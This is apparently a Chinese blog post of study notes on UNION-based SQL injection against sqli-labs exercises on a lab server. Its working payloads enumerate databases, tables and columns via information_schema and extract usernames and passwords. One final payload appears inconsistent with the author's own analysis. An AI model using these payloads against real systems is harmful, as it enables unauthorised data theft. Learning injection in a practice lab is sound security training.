SQL注入-1
select * from table_name where id=1
select version() 显示数据库的版本信息
select * from table_name where id=1 order by 1;
猜表的列数 order by 后面从1开始依次猜解
union前后语句的列数必须相同
select * from table_name where id =1 union select 1,2,version();
练习1
http://10.1.2.5:10631/sqli/Less-2/?id=1
先猜有几个字段 http://10.1.2.5:10631/sqli/Less-2/?id=1 order by 1 二分法查找 先 1 然后10 再然后 5
http://10.1.2.5:10631/sqli/Less-2/?id=1 order by 2
http://10.1.2.5:10631/sqli/Less-2/?id=1 order by 3
http://10.1.2.5:10631/sqli/Less-2/?id=1 order by 4 出错 判断出有三个字段
http://10.1.2.5:10631/sqli/Less-2/?id=1 union select 1,2,version() 输出正常显示 并没有显示版本信息
http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,2,version() 让id为错误可以解决问题
http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata 查询出所有数据库名字
information_schema这个库
schemata :保存所有数据库的名字
schema_name :列名
tables : 保存所有表的名字
table_schema :数据表所属的数据库名 ,table_name:表名称
columns:保存所有列的名字
column_name 列名
查询数据库中所有的库名 user information_schema ;
select schema_name from schemata ;
http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata ;group_concat()拼接所有的表
查询当前库 select database();
查询当前库的所有的表
http://10.1.2.5:10631/sqli/Less-2/
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='cms'
查询指定库的所有的表
http://10.1.2.5:10631/sqli/Less-2/
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema =database()
查询指定库某个表的所有列
http://10.1.2.5:10631/sqli/Less-2/
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='cms_article'
查询当前库某个表的所有列
select column_name from infromation_schema.columns where table_schema = database() and table_name = 'users'
http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'
查询当前库某个表的所有数据
http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from security.users
mysql 语句的注释
/*! ...*/内联注释
# 单行注释 浏览器地址栏 用 %23表示
/**/多行注释
%23 表示 #
%20 表示空格
练习2
http://10.1.2.5:10631/sqli/Less-1/
显示输入ID
http://10.1.2.5:10631/sqli/Less-1/id=1 页面正常显示
http://10.1.2.5:10631/sqli/Less-1/id=1 order by 1 正常显示
http://10.1.2.5:10631/sqli/Less-1/id=1 order by 10 正常显示
http://10.1.2.5:10631/sqli/Less-1/id=1 order by 100000正常显示 可推出 order by这条语句没有执行
主动报错
http://10.1.2.5:10631/sqli/Less-1/id=1' 显示You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
'1' ' LIMIT 0,1
可以推出SQL后台语句基本为 select * from table_name where id=' 1' ' LIMIT 0,1
http://10.1.2.5:10631/sqli/Less-1/?id=1' order by 1 %23 查看字段数
通过联合查询 查询当前数据库名字
http://10.1.2.5:10631/sqli/Less-1/?id=1' union select database() %23
练习3
http://10.1.2.5:10631/sqli/Less-4/?id=1 页面显示正常
用常规方法测试 order by 1 ,10000页面显示都正常
用 id=1' 测试 页面依然显示正常 ,猜测可能不是单引号注入
用 id = 1" 测试
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
"1"") LIMIT 0,1
猜测SQL语句为 select cols from table_name where id=" 1" ") LIMIT 0,1
发现 缺少一个括号 补全括号以后 为下面这条语句
select cols from table_name where id=(" 1" ") LIMIT 0,1
想办法让 union ...处于 双引号的外面
select cols from table_name where id=(" 1") union select database() #") LIMIT 0,1
最后得出地址为 :http://10.1.2.5:10631/sqli/Less-4/?id=-1 ) union select 1,2,database()%20%23
本文来自博客园,作者:弟弟救我啊,转载请注明原文链接:https://www.cnblogs.com/Abelte/p/8872324.html